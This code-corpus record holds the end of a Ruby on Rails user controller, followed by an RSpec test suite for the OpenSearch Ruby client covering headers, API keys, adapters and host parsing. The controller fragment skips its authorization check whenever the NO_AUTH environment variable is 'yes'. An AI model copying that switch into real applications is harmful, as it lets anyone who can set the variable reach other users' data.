return render json: { message: 'user_id is required' }, status: :bad_request unless params.key?(:id)
@user = User.find_by(id: params[:id])
return render json: { message: 'user not found' }, status: :not_found if @user.nil?
return if ENV['NO_AUTH'] == 'yes'
return if @user.id == current_user.id || current_user.is_admin
render json: { message: 'unauthorized' }, status: :unauthorized
end
def update_params
unless ['working', 'finished', 'break', nil].include?(params[:presence])
render json: { message: "invalid params #{params[:presence]}" }, status: :bad_request
end
{
nickname: params[:nickname],
presence: params[:presence],
location: params[:location],
}.compact
end
end
end
| 26.788462 | 106 | 0.646805 |
0888e3ec074e8a3ab0be212ede7b45c868b69593 | 54,593 | # SPDX-License-Identifier: Apache-2.0
#
# The OpenSearch Contributors require contributions made to
# this file be licensed under the Apache-2.0 license or a
# compatible open source license.
#
# Modifications Copyright OpenSearch Contributors. See
# GitHub history for details.
#
# Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
require 'spec_helper'
require 'opensearch'
describe OpenSearch::Transport::Client do
let(:client) do
described_class.new.tap do |_client|
allow(_client).to receive(:__build_connections)
end
end
it 'has a default transport' do
expect(client.transport).to be_a(OpenSearch::Transport::Client::DEFAULT_TRANSPORT_CLASS)
end
it 'preserves the Faraday default user agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/Faraday/)
end
it 'identifies the Ruby client in the User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/opensearch-ruby\/#{OpenSearch::Transport::VERSION}/)
end
it 'identifies the Ruby version in the User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/#{RUBY_VERSION}/)
end
it 'identifies the host_os in the User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/#{RbConfig::CONFIG['host_os'].split('_').first[/[a-z]+/i].downcase}/)
end
it 'identifies the target_cpu in the User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/#{RbConfig::CONFIG['target_cpu']}/)
end
it 'sets the \'Content-Type\' header to \'application/json\' by default' do
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('application/json')
end
it 'uses localhost by default' do
expect(client.transport.hosts[0][:host]).to eq('localhost')
end
context 'when a User-Agent header is specified as client option' do
let(:client) do
described_class.new(transport_options: { headers: { 'User-Agent' => 'testing' } })
end
it 'sets the specified User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to eq('testing')
end
end
context 'when an encoded api_key is provided' do
let(:client) do
described_class.new(api_key: 'an_api_key')
end
let(:authorization_header) do
client.transport.connections.first.connection.headers['Authorization']
end
it 'Adds the ApiKey header to the connection' do
expect(authorization_header).to eq('ApiKey an_api_key')
end
end
context 'when an un-encoded api_key is provided' do
let(:client) do
described_class.new(api_key: { id: 'my_id', api_key: 'my_api_key' })
end
let(:authorization_header) do
client.transport.connections.first.connection.headers['Authorization']
end
it 'Adds the ApiKey header to the connection' do
expect(authorization_header).to eq("ApiKey #{Base64.strict_encode64('my_id:my_api_key')}")
end
end
context 'when basic auth and api_key are provided' do
let(:client) do
described_class.new(
api_key: { id: 'my_id', api_key: 'my_api_key' },
host: 'https://admin:admin@localhost:9200'
)
end
let(:authorization_header) do
client.transport.connections.first.connection.headers['Authorization']
end
it 'removes basic auth credentials' do
expect(authorization_header).not_to match(/^Basic/)
expect(authorization_header).to match(/^ApiKey/)
end
end
context 'when a user-agent header is specified as client option in lower-case' do
let(:client) do
described_class.new(transport_options: { headers: { 'user-agent' => 'testing' } })
end
it 'sets the specified User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to eq('testing')
end
end
context 'when a Content-Type header is specified as client option' do
let(:client) do
described_class.new(transport_options: { headers: { 'Content-Type' => 'testing' } })
end
it 'sets the specified Content-Type header' do
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('testing')
end
end
context 'when a content-type header is specified as client option in lower-case' do
let(:client) do
described_class.new(transport_options: { headers: { 'content-type' => 'testing' } })
end
it 'sets the specified Content-Type header' do
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('testing')
end
end
context 'when the Curb transport class is used', unless: jruby? do
let(:client) do
described_class.new(transport_class: OpenSearch::Transport::Transport::HTTP::Curb)
end
it 'preserves the Curb default user agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/Curb/)
end
it 'identifies the Ruby client in the User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/opensearch-ruby\/#{OpenSearch::Transport::VERSION}/)
end
it 'identifies the Ruby version in the User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/#{RUBY_VERSION}/)
end
it 'identifies the host_os in the User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/#{RbConfig::CONFIG['host_os'].split('_').first[/[a-z]+/i].downcase}/)
end
it 'identifies the target_cpu in the User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to match(/#{RbConfig::CONFIG['target_cpu']}/)
end
it 'sets the \'Content-Type\' header to \'application/json\' by default' do
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('application/json')
end
it 'uses localhost by default' do
expect(client.transport.hosts[0][:host]).to eq('localhost')
end
context 'when a User-Agent header is specified as a client option' do
let(:client) do
described_class.new(transport_class: OpenSearch::Transport::Transport::HTTP::Curb,
transport_options: { headers: { 'User-Agent' => 'testing' } })
end
it 'sets the specified User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to eq('testing')
end
end
context 'when a user-agent header is specified as a client option as lower-case' do
let(:client) do
described_class.new(transport_class: OpenSearch::Transport::Transport::HTTP::Curb,
transport_options: { headers: { 'user-agent' => 'testing' } })
end
it 'sets the specified User-Agent header' do
expect(client.transport.connections.first.connection.headers['User-Agent']).to eq('testing')
end
end
context 'when a Content-Type header is specified as client option' do
let(:client) do
described_class.new(transport_class: OpenSearch::Transport::Transport::HTTP::Curb,
transport_options: { headers: { 'Content-Type' => 'testing' } })
end
it 'sets the specified Content-Type header' do
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('testing')
end
end
context 'when a content-type header is specified as client option in lower-case' do
let(:client) do
described_class.new(transport_class: OpenSearch::Transport::Transport::HTTP::Curb,
transport_options: { headers: { 'content-type' => 'testing' } })
end
it 'sets the specified Content-Type header' do
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('testing')
end
end
end
describe 'adapter' do
context 'when no adapter is specified' do
fork do
let(:client) { described_class.new }
let(:adapter) { client.transport.connections.all.first.connection.builder.adapter }
it 'uses Faraday NetHttp' do
expect(adapter).to eq Faraday::Adapter::NetHttp
end
end unless jruby?
end
context 'when the adapter is patron' do
let(:adapter) do
client.transport.connections.all.first.connection.builder.adapter
end
let(:client) do
described_class.new(adapter: :patron)
end
it 'uses Faraday with the adapter' do
expect(adapter).to eq Faraday::Adapter::Patron
end
end
context 'when the adapter is typhoeus' do
let(:adapter) do
client.transport.connections.all.first.connection.builder.adapter
end
let(:client) do
described_class.new(adapter: :typhoeus)
end
it 'uses Faraday with the adapter' do
expect(adapter).to eq Faraday::Adapter::Typhoeus
end
end unless jruby?
context 'when the adapter is specified as a string key' do
let(:adapter) do
client.transport.connections.all.first.connection.builder.adapter
end
let(:client) do
described_class.new(adapter: :patron)
end
it 'uses Faraday with the adapter' do
expect(adapter).to eq Faraday::Adapter::Patron
end
end
context 'when the adapter can be detected', unless: jruby? do
around do |example|
require 'patron'; load 'patron.rb'
example.run
end
let(:adapter) do
client.transport.connections.all.first.connection.builder.adapter
end
it 'uses the detected adapter' do
expect(adapter).to eq Faraday::Adapter::Patron
end
end
context 'when the Faraday adapter is configured' do
let(:client) do
described_class.new do |faraday|
faraday.adapter :patron
faraday.response :logger
end
end
let(:adapter) do
client.transport.connections.all.first.connection.builder.adapter
end
let(:handlers) do
client.transport.connections.all.first.connection.builder.handlers
end
it 'sets the adapter' do
expect(adapter).to eq Faraday::Adapter::Patron
end
it 'sets the logger' do
expect(handlers).to include(Faraday::Response::Logger)
end
end
end
shared_examples_for 'a client that extracts hosts' do
context 'when the host is a String' do
context 'when there is a protocol specified' do
context 'when credentials are specified \'http://USERNAME:PASSWORD@myhost:8080\'' do
let(:host) do
'http://USERNAME:PASSWORD@myhost:8080'
end
it 'extracts the credentials' do
expect(hosts[0][:user]).to eq('USERNAME')
expect(hosts[0][:password]).to eq('PASSWORD')
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the port' do
expect(hosts[0][:port]).to be(8080)
end
end
context 'when there is a trailing slash \'http://myhost/\'' do
let(:host) do
'http://myhost/'
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
expect(hosts[0][:scheme]).to eq('http')
expect(hosts[0][:path]).to eq('')
end
it 'extracts the scheme' do
expect(hosts[0][:scheme]).to eq('http')
end
it 'extracts the path' do
expect(hosts[0][:path]).to eq('')
end
end
context 'when there is a trailing slash with a path \'http://myhost/foo/bar/\'' do
let(:host) do
'http://myhost/foo/bar/'
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
expect(hosts[0][:scheme]).to eq('http')
expect(hosts[0][:path]).to eq('/foo/bar')
end
end
context 'when the protocol is http' do
context 'when there is no port specified \'http://myhost\'' do
let(:host) do
'http://myhost'
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('http')
end
it 'defaults to port 9200' do
expect(hosts[0][:port]).to be(9200)
end
end
context 'when there is a port specified \'http://myhost:7101\'' do
let(:host) do
'http://myhost:7101'
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('http')
end
it 'extracts the port' do
expect(hosts[0][:port]).to be(7101)
end
context 'when there is a path specified \'http://myhost:7101/api\'' do
let(:host) do
'http://myhost:7101/api'
end
it 'sets the path' do
expect(hosts[0][:host]).to eq('myhost')
expect(hosts[0][:protocol]).to eq('http')
expect(hosts[0][:path]).to eq('/api')
expect(hosts[0][:port]).to be(7101)
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('http')
end
it 'extracts the port' do
expect(hosts[0][:port]).to be(7101)
end
it 'extracts the path' do
expect(hosts[0][:path]).to eq('/api')
end
end
end
end
context 'when the protocol is https' do
context 'when there is no port specified \'https://myhost\'' do
let(:host) do
'https://myhost'
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('https')
end
it 'defaults to port 443' do
expect(hosts[0][:port]).to be(443)
end
end
context 'when there is a port specified \'https://myhost:7101\'' do
let(:host) do
'https://myhost:7101'
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('https')
end
it 'extracts the port' do
expect(hosts[0][:port]).to be(7101)
end
context 'when there is a path specified \'https://myhost:7101/api\'' do
let(:host) do
'https://myhost:7101/api'
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('https')
end
it 'extracts the port' do
expect(hosts[0][:port]).to be(7101)
end
it 'extracts the path' do
expect(hosts[0][:path]).to eq('/api')
end
end
end
context 'when IPv6 format is used' do
around do |example|
original_setting = Faraday.ignore_env_proxy
Faraday.ignore_env_proxy = true
example.run
Faraday.ignore_env_proxy = original_setting
end
let(:host) do
'https://[2090:db8:85a3:9811::1f]:8080'
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('[2090:db8:85a3:9811::1f]')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('https')
end
it 'extracts the port' do
expect(hosts[0][:port]).to be(8080)
end
it 'creates the correct full url' do
expect(client.transport.__full_url(client.transport.hosts[0])).to eq('https://[2090:db8:85a3:9811::1f]:8080')
end
end
end
end
context 'when no protocol is specified \'myhost\'' do
let(:host) do
'myhost'
end
it 'defaults to http' do
expect(hosts[0][:host]).to eq('myhost')
expect(hosts[0][:protocol]).to eq('http')
end
it 'uses port 9200' do
expect(hosts[0][:port]).to be(9200)
end
end
end
context 'when the host is a Hash' do
let(:host) do
{ :host => 'myhost', :scheme => 'https' }
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('https')
end
it 'extracts the port' do
expect(hosts[0][:port]).to be(9200)
end
context 'when IPv6 format is used' do
around do |example|
original_setting = Faraday.ignore_env_proxy
Faraday.ignore_env_proxy = true
example.run
Faraday.ignore_env_proxy = original_setting
end
let(:host) do
{ host: '[2090:db8:85a3:9811::1f]', scheme: 'https', port: '443' }
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('[2090:db8:85a3:9811::1f]')
expect(hosts[0][:scheme]).to eq('https')
expect(hosts[0][:port]).to be(443)
end
it 'creates the correct full url' do
expect(client.transport.__full_url(client.transport.hosts[0])).to eq('https://[2090:db8:85a3:9811::1f]:443')
end
end
context 'when the host is localhost as a IPv6 address' do
around do |example|
original_setting = Faraday.ignore_env_proxy
Faraday.ignore_env_proxy = true
example.run
Faraday.ignore_env_proxy = original_setting
end
let(:host) do
{ host: '[::1]' }
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('[::1]')
expect(hosts[0][:port]).to be(9200)
end
it 'creates the correct full url' do
expect(client.transport.__full_url(client.transport.hosts[0])).to eq('http://[::1]:9200')
end
end
context 'when the port is specified as a String' do
let(:host) do
{ host: 'myhost', scheme: 'https', port: '443' }
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:scheme]).to eq('https')
end
it 'converts the port to an integer' do
expect(hosts[0][:port]).to be(443)
end
end
context 'when the port is specified as an Integer' do
let(:host) do
{ host: 'myhost', scheme: 'https', port: 443 }
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:scheme]).to eq('https')
end
it 'extracts port as an integer' do
expect(hosts[0][:port]).to be(443)
end
end
end
context 'when the hosts are a Hashie:Mash' do
let(:host) do
Hashie::Mash.new(host: 'myhost', scheme: 'https')
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:scheme]).to eq('https')
end
it 'converts the port to an integer' do
expect(hosts[0][:port]).to be(9200)
end
context 'when the port is specified as a String' do
let(:host) do
Hashie::Mash.new(host: 'myhost', scheme: 'https', port: '443')
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:scheme]).to eq('https')
end
it 'converts the port to an integer' do
expect(hosts[0][:port]).to be(443)
end
end
context 'when the port is specified as an Integer' do
let(:host) do
Hashie::Mash.new(host: 'myhost', scheme: 'https', port: 443)
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:scheme]).to eq('https')
end
it 'extracts port as an integer' do
expect(hosts[0][:port]).to be(443)
end
end
end
context 'when the hosts are an array' do
context 'when there is one host' do
let(:host) do
['myhost']
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:protocol]).to eq('http')
end
it 'defaults to port 9200' do
expect(hosts[0][:port]).to be(9200)
end
end
context 'when there is one host with a protocol and no port' do
let(:host) do
['http://myhost']
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:scheme]).to eq('http')
end
it 'defaults to port 9200' do
expect(hosts[0][:port]).to be(9200)
end
end
context 'when there is one host with a protocol and the default http port explicitly provided' do
let(:host) do
['http://myhost:80']
end
it 'respects the explicit port' do
expect(hosts[0][:port]).to be(80)
end
end
context 'when there is one host with a protocol and the default https port explicitly provided' do
let(:host) do
['https://myhost:443']
end
it 'respects the explicit port' do
expect(hosts[0][:port]).to be(443)
end
end
context 'when there is one host with a protocol and no port' do
let(:host) do
['https://myhost']
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:scheme]).to eq('https')
end
it 'defaults to port 443' do
expect(hosts[0][:port]).to be(443)
end
end
context 'when there is one host with a protocol, path, and no port' do
let(:host) do
['http://myhost/foo/bar']
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
end
it 'extracts the protocol' do
expect(hosts[0][:scheme]).to eq('http')
end
it 'defaults to port 9200' do
expect(hosts[0][:port]).to be(9200)
end
it 'extracts the path' do
expect(hosts[0][:path]).to eq('/foo/bar')
end
end
context 'when there is more than one host' do
let(:host) do
['host1', 'host2']
end
it 'extracts the hosts' do
expect(hosts[0][:host]).to eq('host1')
expect(hosts[0][:protocol]).to eq('http')
expect(hosts[0][:port]).to be(9200)
expect(hosts[1][:host]).to eq('host2')
expect(hosts[1][:protocol]).to eq('http')
expect(hosts[1][:port]).to be(9200)
end
end
context 'when ports are also specified' do
let(:host) do
['host1:1000', 'host2:2000']
end
it 'extracts the hosts' do
expect(hosts[0][:host]).to eq('host1')
expect(hosts[0][:protocol]).to eq('http')
expect(hosts[0][:port]).to be(1000)
expect(hosts[1][:host]).to eq('host2')
expect(hosts[1][:protocol]).to eq('http')
expect(hosts[1][:port]).to be(2000)
end
end
end
context 'when the hosts is an instance of URI' do
let(:host) do
URI.parse('https://USERNAME:PASSWORD@myhost:4430')
end
it 'extracts the host' do
expect(hosts[0][:host]).to eq('myhost')
expect(hosts[0][:scheme]).to eq('https')
expect(hosts[0][:port]).to be(4430)
expect(hosts[0][:user]).to eq('USERNAME')
expect(hosts[0][:password]).to eq('PASSWORD')
end
end
context 'when the hosts is invalid' do
let(:host) do
123
end
it 'extracts the host' do
expect {
hosts
}.to raise_exception(ArgumentError)
end
end
end
context 'when hosts are specified with the \'host\' key' do
let(:client) do
described_class.new(host: ['host1', 'host2', 'host3', 'host4'], randomize_hosts: true)
end
let(:hosts) do
client.transport.hosts
end
it 'sets the hosts in random order' do
expect(hosts.all? { |host| client.transport.hosts.include?(host) }).to be(true)
end
end
context 'when hosts are specified with the \'host\' key as a String' do
let(:client) do
described_class.new('host' => ['host1', 'host2', 'host3', 'host4'], 'randomize_hosts' => true)
end
let(:hosts) do
client.transport.hosts
end
it 'sets the hosts in random order' do
expect(hosts.all? { |host| client.transport.hosts.include?(host) }).to be(true)
end
end
context 'when hosts are specified with the \'hosts\' key' do
let(:client) do
described_class.new(hosts: host)
end
let(:hosts) do
client.transport.hosts
end
it_behaves_like 'a client that extracts hosts'
end
context 'when hosts are specified with the \'hosts\' key as a String' do
let(:client) do
described_class.new('hosts' => host)
end
let(:hosts) do
client.transport.hosts
end
it_behaves_like 'a client that extracts hosts'
end
context 'when hosts are specified with the \'url\' key' do
let(:client) do
described_class.new(url: host)
end
let(:hosts) do
client.transport.hosts
end
it_behaves_like 'a client that extracts hosts'
end
context 'when hosts are specified with the \'url\' key as a String' do
let(:client) do
described_class.new('url' => host)
end
let(:hosts) do
client.transport.hosts
end
it_behaves_like 'a client that extracts hosts'
end
context 'when hosts are specified with the \'urls\' key' do
let(:client) do
described_class.new(urls: host)
end
let(:hosts) do
client.transport.hosts
end
it_behaves_like 'a client that extracts hosts'
end
context 'when hosts are specified with the \'urls\' key as a String' do
let(:client) do
described_class.new('urls' => host)
end
let(:hosts) do
client.transport.hosts
end
it_behaves_like 'a client that extracts hosts'
end
context 'when the URL is set in the OPENSEARCH_URL environment variable' do
context 'when there is only one host specified' do
around do |example|
before_url = ENV['OPENSEARCH_URL']
ENV['OPENSEARCH_URL'] = 'example.com'
example.run
ENV['OPENSEARCH_URL'] = before_url
end
it 'sets the host' do
expect(client.transport.hosts[0][:host]).to eq('example.com')
expect(client.transport.hosts.size).to eq(1)
end
end
context 'when mutliple hosts are specified as a comma-separated String list' do
around do |example|
before_url = ENV['OPENSEARCH_URL']
ENV['OPENSEARCH_URL'] = 'example.com, other.com'
example.run
ENV['OPENSEARCH_URL'] = before_url
end
it 'sets the hosts' do
expect(client.transport.hosts[0][:host]).to eq('example.com')
expect(client.transport.hosts[1][:host]).to eq('other.com')
expect(client.transport.hosts.size).to eq(2)
end
end
end
context 'when options are defined' do
context 'when scheme is specified' do
let(:client) do
described_class.new(scheme: 'https')
end
it 'sets the scheme' do
expect(client.transport.connections[0].full_url('')).to match(/https/)
end
end
context 'when scheme is specified as a String key' do
let(:client) do
described_class.new('scheme' => 'https')
end
it 'sets the scheme' do
expect(client.transport.connections[0].full_url('')).to match(/https/)
end
end
context 'when user and password are specified' do
let(:client) do
described_class.new(user: 'USERNAME', password: 'PASSWORD')
end
it 'sets the user and password' do
expect(client.transport.connections[0].full_url('')).to match(/USERNAME/)
expect(client.transport.connections[0].full_url('')).to match(/PASSWORD/)
end
context 'when the connections are reloaded' do
before do
allow(client.transport.sniffer).to receive(:hosts).and_return([{ host: 'foobar', port: 4567, id: 'foobar4567' }])
client.transport.reload_connections!
end
it 'sets keeps user and password' do
expect(client.transport.connections[0].full_url('')).to match(/USERNAME/)
expect(client.transport.connections[0].full_url('')).to match(/PASSWORD/)
expect(client.transport.connections[0].full_url('')).to match(/foobar/)
end
end
end
context 'when user and password are specified as String keys' do
let(:client) do
described_class.new('user' => 'USERNAME', 'password' => 'PASSWORD')
end
it 'sets the user and password' do
expect(client.transport.connections[0].full_url('')).to match(/USERNAME/)
expect(client.transport.connections[0].full_url('')).to match(/PASSWORD/)
end
context 'when the connections are reloaded' do
before do
allow(client.transport.sniffer).to receive(:hosts).and_return([{ host: 'foobar', port: 4567, id: 'foobar4567' }])
client.transport.reload_connections!
end
it 'sets keeps user and password' do
expect(client.transport.connections[0].full_url('')).to match(/USERNAME/)
expect(client.transport.connections[0].full_url('')).to match(/PASSWORD/)
expect(client.transport.connections[0].full_url('')).to match(/foobar/)
end
end
end
context 'when port is specified' do
let(:client) do
described_class.new(host: 'node1', port: 1234)
end
it 'sets the port' do
expect(client.transport.connections[0].full_url('')).to match(/1234/)
end
end
context 'when the log option is true' do
let(:client) do
described_class.new(log: true)
end
it 'has a default logger for transport' do
expect(client.transport.logger.info).to eq(described_class::DEFAULT_LOGGER.call.info)
end
end
context 'when the trace option is true' do
let(:client) do
described_class.new(trace: true)
end
it 'has a default logger for transport' do
expect(client.transport.tracer.info).to eq(described_class::DEFAULT_TRACER.call.info)
end
end
context 'when a custom transport class is specified' do
let(:transport_class) do
Class.new { def initialize(*); end }
end
let(:client) do
described_class.new(transport_class: transport_class)
end
it 'allows the custom transport class to be defined' do
expect(client.transport).to be_a(transport_class)
end
end
context 'when a custom transport instance is specified' do
let(:transport_instance) do
Class.new { def initialize(*); end }.new
end
let(:client) do
described_class.new(transport: transport_instance)
end
it 'allows the custom transport class to be defined' do
expect(client.transport).to be(transport_instance)
end
end
context 'when \'transport_options\' are defined' do
let(:client) do
described_class.new(transport_options: { request: { timeout: 1 } })
end
it 'sets the options on the transport' do
expect(client.transport.options[:transport_options][:request]).to eq(timeout: 1)
end
end
context 'when \'request_timeout\' is defined' do
let(:client) do
described_class.new(request_timeout: 120)
end
it 'sets the options on the transport' do
expect(client.transport.options[:transport_options][:request]).to eq(timeout: 120)
end
end
context 'when \'request_timeout\' is defined as a String key' do
let(:client) do
described_class.new('request_timeout' => 120)
end
it 'sets the options on the transport' do
expect(client.transport.options[:transport_options][:request]).to eq(timeout: 120)
end
end
end
describe '#perform_request' do
let(:transport_instance) do
Class.new { def initialize(*); end }.new
end
let(:client) do
described_class.new(transport: transport_instance)
end
it 'delegates performing requests to the transport' do
expect(transport_instance).to receive(:perform_request).and_return(true)
expect(client.perform_request('GET', '/')).to be(true)
end
context 'when the \'send_get_body_as\' option is specified' do
let(:client) do
described_class.new(transport: transport_instance, :send_get_body_as => 'POST')
end
before do
expect(transport_instance).to receive(:perform_request).with('POST', '/', {},
'{"foo":"bar"}',
'{"Content-Type":"application/x-ndjson"}').and_return(true)
end
let(:request) do
client.perform_request('POST', '/', {}, '{"foo":"bar"}', '{"Content-Type":"application/x-ndjson"}')
end
it 'sets the option' do
expect(request).to be(true)
end
end
context 'when using the API Compatibility Header' do
it 'sets the API compatibility headers' do
ENV['ELASTIC_CLIENT_APIVERSIONING'] = 'true'
client = described_class.new(host: hosts)
headers = client.transport.connections.first.connection.headers
expect(headers['Content-Type']).to eq('application/vnd.opensearch+json; compatible-with=7')
expect(headers['Accept']).to eq('application/vnd.opensearch+json;compatible-with=7')
response = client.perform_request('GET', '/')
expect(response.headers['content-type']).to eq('application/json; charset=UTF-8')
ENV.delete('ELASTIC_CLIENT_APIVERSIONING')
end
it 'does not use API compatibility headers' do
val = ENV.delete('ELASTIC_CLIENT_APIVERSIONING')
client = described_class.new(host: hosts)
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('application/json')
ENV['ELASTIC_CLIENT_APIVERSIONING'] = val
end
it 'does not use API compatibility headers when it is set to unsupported values' do
val = ENV.delete('ELASTIC_CLIENT_APIVERSIONING')
ENV['ELASTIC_CLIENT_APIVERSIONING'] = 'test'
client = described_class.new(host: hosts)
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('application/json')
ENV['ELASTIC_CLIENT_APIVERSIONING'] = 'false'
client = described_class.new(host: hosts)
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('application/json')
ENV['ELASTIC_CLIENT_APIVERSIONING'] = '3'
client = described_class.new(host: hosts)
expect(client.transport.connections.first.connection.headers['Content-Type']).to eq('application/json')
ENV['ELASTIC_CLIENT_APIVERSIONING'] = val
end
end
context 'when OpenSearch response includes a warning header' do
let(:client) do
OpenSearch::Transport::Client.new(hosts: hosts)
end
let(:warning) { 'OpenSearch warning: "deprecation warning"' }
it 'prints a warning' do
allow_any_instance_of(OpenSearch::Transport::Transport::Response).to receive(:headers) do
{ 'warning' => warning }
end
begin
stderr = $stderr
fake_stderr = StringIO.new
$stderr = fake_stderr
client.perform_request('GET', '/')
fake_stderr.rewind
expect(fake_stderr.string).to eq("warning: #{warning}\n")
ensure
$stderr = stderr
end
end
end
context 'when a header is set on an endpoint request' do
let(:client) { described_class.new(host: hosts) }
let(:headers) { { 'user-agent' => 'my ruby app' } }
it 'performs the request with the header' do
allow(client).to receive(:perform_request) { OpenStruct.new(body: '') }
expect { client.perform_request('GET', '_search', {}, nil, headers) }.not_to raise_error
expect(client).to have_received(:perform_request)
.with('GET', '_search', {}, nil, headers)
end
end
context 'when a header is set on an endpoint request and on initialization' do
let!(:client) do
described_class.new(
host: hosts,
transport_options: { headers: instance_headers }
)
end
let(:instance_headers) { { set_in_instantiation: 'header value' } }
let(:param_headers) { {'user-agent' => 'My Ruby Tests', 'set-on-method-call' => 'header value'} }
it 'performs the request with the header' do
expected_headers = client.transport.connections.connections.first.connection.headers.merge(param_headers)
expect_any_instance_of(Faraday::Connection)
.to receive(:run_request)
.with(:get, "http://#{hosts[0]}/_search", nil, expected_headers) { OpenStruct.new(body: '')}
client.perform_request('GET', '_search', {}, nil, param_headers)
end
end
end
context 'when the client connects to OpenSearch' do
let(:logger) do
Logger.new(STDERR).tap do |logger|
logger.formatter = proc do |severity, datetime, progname, msg|
color = case severity
when /INFO/ then :green
when /ERROR|WARN|FATAL/ then :red
when /DEBUG/ then :cyan
else :white
end
ANSI.ansi(severity[0] + ' ', color, :faint) + ANSI.ansi(msg, :white, :faint) + "\n"
end
end unless ENV['QUIET']
end
let(:port) do
TEST_PORT
end
let(:transport_options) do
{}
end
let(:options) do
{}
end
let(:client) do
described_class.new({ host: hosts, logger: logger }.merge!(transport_options: transport_options).merge!(options))
end
context 'when a request is made' do
let!(:response) do
client.perform_request('GET', '_cluster/health')
end
it 'connects to the cluster' do
expect(response.body['number_of_nodes']).to be >= (1)
end
end
describe '#initialize' do
context 'when options are specified' do
let(:transport_options) do
{ headers: { accept: 'application/yaml', content_type: 'application/yaml' } }
end
let(:response) do
client.perform_request('GET', '_cluster/health')
end
it 'applies the options to the client' do
expect(response.body).to match(/---\n/)
expect(response.headers['content-type']).to eq('application/yaml')
end
end
context 'when a block is provided' do
let(:client) do
described_class.new(host: OPENSEARCH_HOSTS.first, logger: logger) do |client|
client.headers['Accept'] = 'application/yaml'
end
end
let(:response) do
client.perform_request('GET', '_cluster/health')
end
it 'executes the block' do
expect(response.body).to match(/---\n/)
expect(response.headers['content-type']).to eq('application/yaml')
end
context 'when the Faraday adapter is set in the block' do
let(:client) do
described_class.new(host: OPENSEARCH_HOSTS.first, logger: logger) do |client|
client.adapter(:net_http_persistent)
end
end
let(:handler_name) do
client.transport.connections.first.connection.builder.adapter.name
end
let(:response) do
client.perform_request('GET', '_cluster/health')
end
it 'sets the adapter' do
expect(handler_name).to eq('Faraday::Adapter::NetHttpPersistent')
end
it 'uses the adapter to connect' do
expect(response.status).to eq(200)
end
end
end
end
describe '#options' do
context 'when retry_on_failure is true' do
context 'when a node is unreachable' do
let(:hosts) do
[OPENSEARCH_HOSTS.first, "foobar1", "foobar2"]
end
let(:options) do
{ retry_on_failure: true }
end
let(:responses) do
5.times.collect do
client.perform_request('GET', '_nodes/_local')
end
end
it 'retries on failure' do
